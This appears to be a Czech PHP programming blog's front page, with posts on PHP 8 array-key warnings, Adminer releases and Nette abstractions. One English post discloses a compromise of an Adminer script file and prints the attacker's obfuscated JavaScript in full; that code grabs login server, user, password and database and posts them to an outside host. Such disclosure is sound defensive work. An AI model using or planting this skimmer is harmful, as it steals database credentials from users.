PHP triky

Weblog o elegantním programování v PHP pro mírně pokročilé

Vypnutí chyby při přístupu k nedefinovanému prvku pole

Změna chyby při přístupu k nedefinovanému prvku pole z E_NOTICE na E_WARNING v PHP 8 se může směle zařadit do známého PHP: a fractal of bad design. Původní nešťastný návrh, kdy se přístup k nedefinovanému prvku pole považuje za hodný upozornění, zalepuje něčím ještě horším, co rozbíjí programy perfektně funkční v PHP < 8 bez smysluplného důvodu.

Nejprve proč je nešťastné upozorňovat na přístup k nedefinovanému prvku pole: Pole jsou v PHP typicky poměrně dynamické – když napíšu $_GET["select"] == "a" a v $_GET mi žádné "select" nepřijde, tak to není žádný problém. Přístup k nedefinovaným prvkům pole má jasně dané chování – vrátí null. Není to jako v dřevních dobách jazyka C, kde to vrátilo nějakou náhodnou hodnotu, která na tom místě v paměti byla zapsaná dříve. Není žádný důvod, proč kód měnit na isset($_GET["select"]) && $_GET["select"] == "a". Možná si řeknete „obrana proti překlepům“, ale co mi zabrání napsat isset($_GET["selet"]) && $_GET["selet"] == "a" a udělat ten stejný překlep dvakrát?

U jiné ukázky kódu je lpění na ošetřování přístupu k nedefinovaným prvkům pole ještě křiklavější:

<?php
$groups = array();
foreach ($rows as $row) {
    $groups[$row->group]++;
}
?>

Kód mi do pole spočte, kolik řádek z každé skupiny máme. Je krátký, čitelný, přehledný, těžko se v něm udělá chyba. Srovnejte to s tímto monstrem, pokud ošetřuji přístup k nedefinovanému indexu $groups:

<?php
$groups = array();
foreach ($rows as $row) {
    if (!array_key_exists($row->group, $groups)) {
        $groups[$row->group] = 0;
    } else {
        $groups[$row->group]++;
    }
}
?>

Kód je mnohem hůř čitelný, stejné proměnné opakuje třikrát a je náchylnější k chybě. Schválně jsem tam jednu chybu udělal, zkuste ji najít. Phabricator zmírňuje utrpení přidáním funkce idx, s kterou je kód snesitelnější (ale pořád ne tak elegantní jako první verze):

<?php
$groups = array();
foreach ($rows as $row) {
    $groups[$row->group] = idx($groups, $row->group, 0) + 1;
}
?>

Dalším kouskem fraktálu špatného návrhu je i to, že taková funkce není přímo součástí PHP. A aby ten fraktál nebyl malý, tak přidám ještě jednu verzi téhož, která perfektně funguje bez jakýchkoliv upozornění, i když má potenciálně ta stejná rizika jako verze první:

<?php
foreach ($rows as $row) {
    $groups[$row->group][] = 1;
}
$groups = array_map('count', $groups);
?>

Proč to funguje? Přidání prvku pole do neinicilizované hodnoty PHP z nějakého důvodu za sebemenší chybu nepovažuje, i když je zcela obdobné třeba oné inkrementaci. Všimněte si, že pokud je pole $rows neprázdné, tak ani nemusím inicializovat $groups, což osobně považuji za vážnou chybu. PHP přesto ani necekne. Stejně tak necekne ani u tohoto moderního kódu (který má navíc ten problém, že není zpětně kompatibilní):

<?php
$groups = array();
foreach ($rows as $row) {
    $groups[$row->group] = ($grups[$row->group] ?? 0) + 1;
}
?>

Všimněte si překlepu $grups. Všechny chyby zapnuté, moderní kód a PHP na překlep stejně neupozorní, protože operátor ?? stejně jako isset kontroluje, jestli je nastavený celý výraz a u první nenastavené proměnné prostě skončí. Může se to zdát užitečné, ale je to další část fraktálu.

Jak bych to navrhl já

Jak bych chování navrhl já (s výhodou pohledu do budoucnosti)? V první řadě bych oddělil dynamická pole od statických objektů. V PHP jsou pole i objekty uchovávány prakticky stejně, to ale ještě neznamená, že se navenek musí i stejně chovat. Práci s nedeklarovanými vlastnostmi objektu jsem vždycky považoval za prasárnu kromě případů, kdy se k tomu třída přihlásí metodami __get, __set a spol. Nemusely by pak vznikat obezličky typu Nette\SmartObject, které to řeší za PHP. Pokud chci vytvořit objekt bez třídy, můžu použít (object) array('a' => 1), nabízel by se prostor pro syntaxi object('a' => 1), případně zkráceně {'a' => 1} (podobně jako časem vzniklo ['a' => 1]).

Druhá věc je, že pokud nepoužívám dynamické vlastnosti jazyka typu proměnné proměnné ($$a) a dynamické vlastnosti objektů ($this->$a), tak se kontrola může dělat klidně už při kompilaci a nemusí se čekat až do spuštění. Tady PHP zastupuje např. PHPStan.

U polí, kde je struktura pevná a přístup k neexistujícímu prvku opravdu znamená chybu, bych doporučil pracovat raději s objektem, jde např. o funkce vracející řádky z databáze (mysqli_fetch_object místo mysqli_fetch_assoc).

Práce s nedeklarovanými proměnnými je vážná chyba a není žádný důvod ji brát stejně jako práci s neexistujícími prvky pole. Jediný historický důvod je opět stejná reprezentace platných proměnných a prvků pole.

Hlasování

V RFC se jako podklad pro hlasování píše: „Proměnné a vlastnosti objektů jsou typicky staticky známé, což neplatí pro prvky pole, které jsou často dynamické. Některé jazyky (jako JavaScript) přístup k nedefinovanému prvku pole za chybu vůbec nepovažují a projdou bez řečí. Někteří programátoři by tento styl chtěli používat i v PHP a uvítali by, když by tato chyba šla snadno potlačit.“ Hlasování pak dopadlo nejtěsnějším možným výsledkem 42:21 (je potřeba 2/3 hlasů). Žádná možnost snadného potlačení této chyby (třeba ve formě konfigurační direktivy) bohužel nevznikla.

Jak chybu vypnout

Chybu lze vypnout nastavením vlastního ovladače chyb:

<?php
function mute_array_errors($errno, $errstr) {
    return !!preg_match('~^(Trying to access array offset on value of type null|Undefined array key)~', $errstr);
}
set_error_handler('mute_array_errors', E_WARNING);
?>

Chyba nemá jednoznačný kód, takže ji můžeme filtrovat leda tak podle textu chybové hlášky. Další prasárnička…

Za desítky let, co PHP používám, mi tato chyba ničím nepomohla. Nikdy jsem si neřekl: „Sakryš, když bych měl zapnutou tuhle chybu, tak jsem si mohl ušetřit několik hodin ladění.“ Vždycky vedla akorát ke kódu po všech stránkách horšímu. Mnohem lepší službu udělala statická kontrola v podobě PHPStanu nebo dříve aspoň mého php-initialized.

Jakub Vrána, Řešení problému, 1.1.2021, diskuse: 21 (nové: 21)

Users of Adminer 3.7.1 and older might have been hacked

An attacker from an IP address 52.183.1.49 was able to modify the file adminer.org/static/jush.js which was used by Adminer version 3.7.1 (more than 7 years old) and older for syntax highlighting. The file was modified from 2020-12-29 17:34 GMT to 2020-12-30 11:20 GMT. If you used these Adminer versions to access a database in this time then change the database passwords. Newer Adminer versions are not affected as they bundle this file and don't download it.

The attacker was able to get my hosting password. I don't know how they obtained it but I've changed all the passwords and limited the IP range from which it is possible to log in. I also use 2FA for the central admin but the hosting unfortunately couldn't enforce it for just the server login. I've also checked the published Adminer versions which are unaffected and I've also searched for other possible backdoors.

I've filed a report at cert.microsoft.com which is listed for reporting security issues coming from this IP address. I've also notified GetPush where the malicious code was sending the data.

This is the malicious code:

var _0x4d83=["\x76\x61\x6C\x75\x65","\x61\x75\x74\x68\x5B\x70\x65\x72\x6D\x61\x6E\x65\x6E\x74\x5D","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x4E\x61\x6D\x65","\x69\x6E\x70\x75\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x31","\x6F\x6E\x63\x6C\x69\x63\x6B","\x61\x75\x74\x68\x5B\x73\x65\x72\x76\x65\x72\x5D","\x61\x75\x74\x68\x5B\x75\x73\x65\x72\x6E\x61\x6D\x65\x5D","\x61\x75\x74\x68\x5B\x70\x61\x73\x73\x77\x6F\x72\x64\x5D","\x61\x75\x74\x68\x5B\x64\x62\x5D","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x65\x74\x70\x75\x73\x68\x2E\x6F\x72\x67\x2F\x61\x64\x6D\x69\x6E\x65\x72\x2F","\x20\x7C\x20","\x50\x4F\x53\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64"];var submit=document[_0x4d83[2]](_0x4d83[1])[0][_0x4d83[0]];var submit2=document[_0x4d83[4]](_0x4d83[3])[4];if(submit== _0x4d83[5]){submit2[_0x4d83[6]]= function(){var _0x6534x3= new XMLHttpRequest();var _0x6534x4=document[_0x4d83[2]](_0x4d83[7])[0][_0x4d83[0]];var _0x6534x5=document[_0x4d83[2]](_0x4d83[8])[0][_0x4d83[0]];var _0x6534x6=document[_0x4d83[2]](_0x4d83[9])[0][_0x4d83[0]];var _0x6534x7=document[_0x4d83[2]](_0x4d83[10])[0][_0x4d83[0]];var _0x6534x8=document[_0x4d83[12]][_0x4d83[11]];var _0x6534x9=_0x4d83[13];var _0x6534xa=btoa(_0x6534x8+ _0x4d83[14]+ _0x6534x4+ _0x4d83[14]+ _0x6534x5+ _0x4d83[14]+ _0x6534x6+ _0x4d83[14]+ _0x6534x7);_0x6534x3[_0x4d83[16]](_0x4d83[15],_0x6534x9,true);_0x6534x3[_0x4d83[17]](_0x6534xa)}}

I'm sorry for any inconvenience.

Jakub Vrána, Adminer, 30.12.2020, diskuse: 2 (nové: 2)

Adminer 4.7.6

Adminer 4.7.6 zrychluje formulář pro změnu struktury tabulky, který se zpomalil přidáním CSP ve verzi 4.4.0. Důvodem tehdy bylo nahrazení inline event handlerů za značky <script> v každém řádku formuláře, což obzvlášť Chrome značně zpomaluje. Vyřešil jsem to centralizací těchto značek. Tady si postesknu nad nemožností se striktním CSP používat inline event handlery. Ty sice vedou ke špagetovému kódu, ale na druhou stranu umožňují vytvářet komponenty, které mají HTML kód i navázání jeho událostí na jednom místě. Rozdělení těchto dvou věcí vede k větší složitosti – komponenta např. může vracet zvlášť HTML a zvlášť kód pro obsluhu událostí, což pak zase musí její uživatel nalepit na různá místa. Jiným řešením může být jakýsi vlastní DSL využívající data- atributy, což taky někde používám.

Další změny:

Uživatelé také opravili plugin login-ip a přidal jsem ukázku použití Adminer Editoru s SQLite (kombinuje plugin login-password-less se změnou použitého ovladače v přihlašovacím formuláři a nastavením cesty k databázi).

Jakub Vrána, Adminer, 31.1.2020, diskuse: 11 (nové: 11)

Abstrakce nad abstrakcí

Zapojil jsem se do vývoje jednoho webu postaveného na Nette. Nad některými změnami, které by mi obvykle zabraly minutu, jsem strávil třeba hodinu. Aplikace je podle mě udělaná dobře, logické celky jsou oddělené, kód se neopakuje, takže v tom to není. Problém je, že kvůli několika úrovním abstrakce musím ty abstrakce nejdřív pochopit a naučit se, jak se v nich dělá to, co potřebuji. Přesně vím, co chci udělat, i jak se to ve finále udělá, ale oříšek je to přes ty abstrakce protlačit.

Příkaz po připojení k databázi

Kupříkladu jsem chtěl po připojení k databázi provést nějaký SQL příkaz. Ve starých dobrých časech jsem si ze skriptů includoval connect.inc.php, ve kterém jsem zavolal mysql_connect, za který bych si přidal to mysql_query, které jsem potřeboval. V této aplikaci je do prezenteru injectován repozitář – o to se asi nějak stará samo Nette, fajn. Repozitáře mají rodičovskou třídu, do jejího konstruktoru jsem tedy zkusil doplnit volání toho příkazu, což ale samozřejmě vedlo k tomu, že jednotlivé repozitáře příkaz volaly nezávisle na sobě a ten se tak provedl opakovaně. Konstruktor repozitářů přijímá instanci Dibi. Kde ta se bere? Mohl bych příkaz doplnit tam. Ale v kódu se přímo nikde nevytváří, asi ji zase injectuje Nette. Přímo do existujícího kódu si tedy příkaz nikam nedoplním, musím nějak přesvědčit Nette nebo Dibi, aby to udělaly za mě. Říkám si, že asi nejsem první, kdo něco takového v Dibi potřebuje. Koukám se do dokumentace, ale tam o tom nic nenacházím. V API dokumentaci projíždím seznam metod a taky tam nic nevidím. Nakonec se koukám do zdrojáku a zjišťuji, že to Dibi skutečně podporuje. Ono to je nakonec i v té API dokumentaci, ale ne moc přehledně:

Ukázka dokumentace

Pak už na první dobrou hádám, že stačí tenhle parametr přidat do sekce dibi v config.neon (syntaxe NEON je další abstrakce, ale naštěstí jednoduchá) a kód skutečně funguje.

Co když by Dibi něco takového nepodporovalo? Jsem jeden z těch, kdo by poslal pull request, ale co když by ho autor nepřijal? Tuším, že i to by se dalo vyřešit. V Nette bych si jistě mohl udělat nějakou DibiFactory, která by ten příkaz zavolala tam. Ale je to další abstrakce, kterou bych si musel nejdřív nastudovat.

Doplňování jména

V jednom formuláři je políčko name, které značí název místa, a políčko email, do kterého se zadává e-mail člověka, který název zadává. Chrome (a asi i další prohlížeče) při vyplňování name nabízí jméno člověka, což samo o sobě moc nevadí. Co je horší, že při automatickém doplnění e-mailu se přepíše i to, co je zadané v názvu. Ten je navíc o stránku výš, takže si toho člověk ani nevšimne. Můj první nápad bylo políčko prostě přejmenovat. Ve starých dobrých časech by to bylo triviální. Políčko bych změnil na <input name="place" value="<?php echo htmlspecialchars($row["name"]); ?>"> a kód, který ho zpracovává, na $row["name"] = $_POST["place"]. Přejmenovávat sloupec v databázi by bylo velmi složité, protože se v aplikaci používá na mnoha různých místech. Jak tohle udělat v aplikaci postavené nad Nette? Nepřišel jsem na to. Aplikace (nebo Nette?) automaticky provazuje formulářová políčka s daty v databázi a formulářová data zase posílá podle názvu do databáze. Asi by někam šlo doplnit tohle přejmenování, ale minimálně by to působilo jako hack.

Napadla mě jednodušší věc – políčku přidat atribut <input autocomplete>, což by v běžném formuláři byla práce na 10 sekund. Ve fóru jsem našel, jak se to dělá pro celý formulář s tím, že „pro jednotlivé inputy to není problém“. Pro mě to problém je. V dokumentaci jsem nic o nastavování vlastních atributů elementům nenašel. V API dokumentaci jsem našel metodu getControl, která vrací HTML element pro políčko. To mi přišlo dost podobné jako getElementPrototype doporučované pro nastavení autocomplete celému formuláři, tak jsem ji zkusil použít. Bohužel to ale nezabralo kvůli tomu, že metoda generuje kód pokaždé znovu a změny v dříve vygenerovaném HTML přijdou vniveč. Naštěstí jsem našel metodu setAttribute (později přejmenovanou na setHtmlAttribute), která vedla ke kýženému cíli. Povedlo by se mi to i pomocí metody getControlPrototype, která ale bohužel není v dokumentaci TextBase, kde jsem našel getControl. Je to proto, že pochází z rodičovské třídy a TextBase ji na rozdíl od getControl nepřepisuje. Navíc rozdíl mezi těmito metodami není nijak zevrubně popsán – čekal bych odkaz z jedné na druhou s vysvětlením rozdílu.

Proměnná na devu

Na vývojovém serveru jsem si chtěl nastavit nějakou proměnnou a použít ji v šabloně. Ve starých dobrých časech bych do config_local.php přidal define("MEDIA_ROOT", "https://...") a kdekoliv v kódu ji potom prostě vypsal. Jak to udělat v Nette? V config.local.neon si můžu vlastní proměnnou přidat do sekce parameters, jak ji ale pak použít v šabloně? Nepřišel jsem na to, tak jsem zvolil velmi krkolomné řešení poslání parametru do App\Model\Configuration (který se injectuje do presenterů), tam jeho uložení a následné ruční předání z prezenteru do šablony. Tuším, že tohle je úplně špatné řešení a že existuje mnohem jednodušší, ale v dokumentaci se o sekci parameters vůbec nepíše, natož aby tam bylo vysvětlené, jak ty parametry použít v jiných částech aplikace.

Závěr

Tímhle článkem rozhodně nechci říct, že abstrakce jsou špatné nebo že použité části (aplikace samotná, Nette, Dibi) nejsou dobré. Chci říct to, že každá abstrakce může něco zjednodušit, ale nejdřív se ji člověk musí naučit. Je jistě velmi pohodlné nestarat se o vytváření všech objektů použitých v aplikaci, ale pokud to nějaká abstrakce dělá za mě, tak je najednou mnohem pracnější to přizpůsobit. Stejně tak je pohodlné nemuset každé formulářové políčko vytvářet ručně, ale když ho potřebuji změnit, tak je to s abstrakcí opět složitější. Nebo vlastně ani ne, ale nejdřív tu abstrakci musím podrobně znát.

Dokumentace je v takovém případě klíčová. V uživatelské dokumentaci Dibi a Nette jsem třikrát nenašel to, co jsem potřeboval (onConnect, setAttribute, parameters). V API dokumentaci dvakrát ano, ale jednou v nepřehledné formě (onConnect) a jednou jsem sešel na scestí (getControl místo getControlPrototype). Jednu věc jsem nenašel vůbec (správné použití parameters), ale možná jen nevím, kde hledat. Na to, abych dokumentaci sám vylepšil, se necítím dost erudovaný – např. BaseControl má ještě nedokumentovanou metodu getControlPart, jaký je její smysl?

Kolem Nette je velmi aktivní komunita, takže když bych se zeptal, asi bych se dobral často k lepšímu řešení, než jaké jsem našel já. Ale už jen dobře zformulovat dotaz je těžká práce a čekat na odpověď se mi nikdy nechce – mám nějaký problém a chci ho vyřešit hned. Radši budu hodinu hledat v dokumentaci (a u toho třeba dozvím i něco dalšího) než deset minut formulovat dotaz a pak hodinu nebo den čekat na odpověď.

Jakub Vrána, Řešení problému, 9.12.2019, diskuse: 17 (nové: 17)

Adminer 4.7.5

Adminer 4.7.4 opravil XSS, ke kterému došlo naštěstí pouze v případě, že Adminer byl dostupný na URL ve tvaru /data:.

Adminer 4.7.5 zlepšuje kompatibilitu s PostgreSQL 12, které odstranilo několik systémových sloupců (bug #719). Další změny jsou drobnější:

Jakub Vrána, Adminer, 13.11.2019, diskuse: 3 (nové: 3)

Starší články naleznete v archivu.

avatar © 2005-2021 Jakub Vrána. Publikované texty můžete přetiskovat pouze se svolením autora. Ukázky kódu smíte používat s uvedením autora a URL tohoto webu bez dalších omezení Creative Commons. Můžeme si tykat. Skripty předpokládají nastavení: magic_quotes_gpc=Off, magic_quotes_runtime=Off, error_reporting=E_ALL & ~E_NOTICE a očekávají předchozí zavolání mysql_set_charset. Skripty by měly být funkční v PHP >= 4.3 a PHP >= 5.0.